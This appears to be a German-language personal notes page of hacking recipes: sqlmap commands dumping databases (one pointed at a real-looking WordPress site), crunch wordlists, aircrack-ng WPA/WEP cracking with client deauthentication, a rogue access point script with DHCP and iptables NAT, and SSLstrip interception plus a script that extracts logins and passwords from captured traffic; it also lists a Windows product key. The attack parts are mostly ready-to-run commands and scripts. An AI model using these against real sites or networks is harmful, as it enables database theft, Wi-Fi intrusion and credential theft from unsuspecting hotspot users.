Quelle 1: Anleitung für Testlab mit Virtualbox

Quelle 2: noch eine Anleitung zu Testlab in Virtualbox

OSX in Virtualbox installieren

Win8 Entwicklerversion installieren
Product Key: TK8TP-9JN6P-7X7WW-RFFTV-B7QPF

Win7 Aktivierung abschalten

los gehts mit öffnem von sqlmap

und jetzt suchen wir nach einer verwundbaren Seite. der code dazu

python sqlmap.py -u http://www.imot.ch/wordpress/?=56 --dbs

wir sehen die Datenbanken (z.B. wordpress)

jetzt gehts um die Inhalte er Datenbank, den Tabellen

python sqlmap.py -u http://sitename.com/index.php?id=444 -D DATENBANKNAME --tables

nun sind die Kolonnen dran

python sqlmap.py -u http://sitename.com/index.php?id=444 -D DATENBANKNAME -T TABLENAME --columns

jetzt sehen wir den Inhalt der Kolonnen (z.B. pwd, uname)

jetzt wollen wir den Inhalt lesen

python sqlmap.py -u http://sitename.com/index.php?id=444 -D DATENBANKNAME -T TABLENAME -C

Link SQL-Tutorial

Quelle: adaywithtape - gute Beispiele

Quelle: adaywithtape - aktuelle Version

crunch starten

/pentest/passwords/crunch/crunch 4 4 -o test.txt

generiert eine Liste (test.txt) 4-stellig

Youtube Madbox

Wardriving-Forum - Airodump-ng

Sammlung von Videos über aircrack-ng und Ubuntu

Schnell und einfach WPA knacken

Aircrack-ng Doku-Wiki

janoweb - patches und Quellen

Verzeichnis für Dictionary

Wortlisten

Die nachfolgenden Befehle werden mit einem BackTrack5-Live-USB ausgeführt.

mon0 aktivieren

airmon-ng

mit Backtrack5 nicht mehr beachten

sudo service network-manager stop
sudo service avahi-daemon stop
kill <PID of wpa_supplicant>

mit Backtrack5 nicht mehr beachten (WLAN im Monitor-Modus starten)

airmon-ng start wlan0

Accesspoint und Client suchen

airodump-ng mon0

ESSID BSSID-MAC STATION-MAC CHANNEL speichern

Pakete von Accespoint erfassen

airodump-ng --bssid <BSSID MAC> -w <DATEI> -c <CHANNEL> mon0

in neuer Shell deauthentifizieren den Client für Handshake

aireplay-ng --deauth 10 -a <BSSID 00:00:00:> -c <STATION 00:00:00> mon0

auf erster Shell auf Handshake warten, in erster Zeile ersichtlich

Jetzt cracken wir den Schlüssel

aircrack-ng <DATEINAME> -w <WORDLIST.list>

WLAN für normalen Betrieb aktivieren

ifconfig wlan0 down
iwconfig wlan0 mode managed
ifconfig wlan0 up

mit Backtrack5 nicht mehr beachten (Dienste für normalen Betrieb wieder starten)

sudo service network-manager start
sudo service avahi-daemon start

sudo apt-get install aircrack-ng

ifconfig

ergibt wlan0

airmon-ng stop wlan0

ifconfig wlan0 stop

airmon-ng start wlan0

airodump-ng wlan0

nach WEP suchen und Channel merken z.B. 6

airodump-ng -c 6 -w wlan --bssid 00:00:....

Daten sammeln, ca. 250'000

aircrack-ng -b 00:00:..... <DATEI-NAME VON VORHERIGEM PUNKT>

Um zu demonstrieren wie gefährlich offene WLAN-AccessPoints sein können.

FAke AccessPoint

Traffic von FakeAccessPoint auslesen

Setup a fake AccessPoint

Bericht über offene WLANs.

Tutorial von Wardriving
dhcpd.conf und iptables sehen interessant aus

Tutorial von 0x80
User mit Metasploit überwachen

Als erstes installieren wir den dhcp Server:
nach dieser Vorlage Fake AP mit Skript

$ apt-get install dhcp3-server -y

Falls noch nicht passiert, sollte ebenfalls aircrack-ng und iptables installiert werden

$ apt-get install aircrack-ng && iptables

Die Serverkonfigurationsdatei bennen wir zwecks Backup um:

$ mv /etc/dhcp3/dhcpd.conf /etc/dhcp3/dhcpd.conf.backup

Dann erstellen wir eine neue Serverkonfigurationsdatei:

$ nano /etc/dhcp3/dhcpd.conf

mit folgendem Inhalt:

ddns-update-style none;
default-lease-time 600;
max-lease-time 7200;
subnet 172.168.2.128 netmask 255.255.255.128 {
  option subnet-mask 255.255.255.128;
  option broadcast-address 172.168.2.255;
  option routers 172.168.2.129;
  option domain-name-servers 8.8.8.8;
  range 172.168.2.130 172.168.2.140;
}

diese Schritte nur zu Beginn ausführen.

Danach mit folgenden zwei Skripten den Fake-AP ein-/ausschalten:

#!/bin/bash

echo "Killing Airbase-ng..."
pkill airbase-ng
sleep 2;
echo "Killing DHCP..."
pkill dhcpd3
sleep 5;

echo "Putting Wlan In Monitor Mode..."
airmon-ng stop wlan1 # Change to your wlan interface
sleep 5;
airmon-ng start wlan1 # Change to your wlan interface
sleep 5;
echo "Starting Fake AP..."
airbase-ng -e SAhotspot -c 6 mon0 & # Change essid, channel and interface
sleep 5;

ifconfig at0 172.168.2.129 netmask 255.255.255.128 up # Change IP addresses as configured in your dhcpd.conf
route add -net 172.168.2.128 netmask 255.255.255.128 gw 172.168.2.129

sleep 5;

iptables -F
iptables -t nat -F
iptables -X
iptables -t nat -X
iptables -t nat -A POSTROUTING -o wlan0 -j MASQUERADE # Change wlan0 to your internet facing interface
iptables -A FORWARD -i at0 -j ACCEPT
echo 1 > /proc/sys/net/ipv4/ip_forward

dhcpd3 -cf /etc/dhcp3/dhcpd.conf -pf /var/run/dhcp3-server/dhcpd.pid at0

#!/bin/sh
killall -9 dhcpd3
killall -9 airbase-ng
iptables -F
iptables -t nat -F
iptables -X
iptables -t nat -X
echo 0 > /proc/sys/net/ipv4/ip_forward
airmon-ng stop mon0

Jetzt wo der Server läuft können wir uns daran machen, den Verkehr auszulesen. Dazu müssen wir als erstes SSLstrip installieren:

$ cd /pentest/web/sslstrip/
$ python setup.py install

Iptables für SSLstrip

$ iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000

SSLstrip starten mit folgenden Optionen:

$ sslstrip -a -f -k -w /root/sslstrip.log

diese Datei ist riesig und mit vielen Informationen bestückt. Damit wir nur die relevanten Daten erhalten, bauen wir uns ein Skript mit folgendem Inhalt:

#!/bin/bash
echo "Do you want to save passwords to a file? (Y=keep)"
echo "(If you want to keep it, it will be saved in /root/filename.pass.txt)"
read -e keeppd
if [[ $keeppd = "Y" || $keeppd = "y" ]] ; then 
        cat /root/sslstrip.log  |
        awk -F "&" '!/GET/ && !/if/  !/header/ && !/^[0-9]/ && !/</ && /[PpEeUuLlCc_][A-Za-z]*=[A-Za-z0-9.%_-]*/ {if (NF >= 2) print $0}' |
        awk -F "&" '{for(i=1;i<=NF;i++) print $i }' |
        egrep -a -i "pwd=|pass=|passwd=|password=|textbox=|email=|user=|username=|login=|credential=|_user|_pwd=|email_address=" |
        awk -F "=" '{if (length($2) < 3) print "\b"; else if ($1 ~/[Pp]/) print "Password = " $2"\n"; else print "Login =", $2}' >& /root/filename.pass.txt 
        if [ -f "/root/filename.pass.txt" ]; then 
                echo "Passwords saved !" 
                else echo "Error while saving passwords" 
        fi
        else echo "Password saving skipped."
fi
rm /root/filename.txt
echo -e "\nTemporary files deleted."

Das Skript kann noch angepasst werden. Danach das Skript ausführbar machen:

$ chmod +x Skript.sh

und starten (Abfrage mit „Y“ beantworten.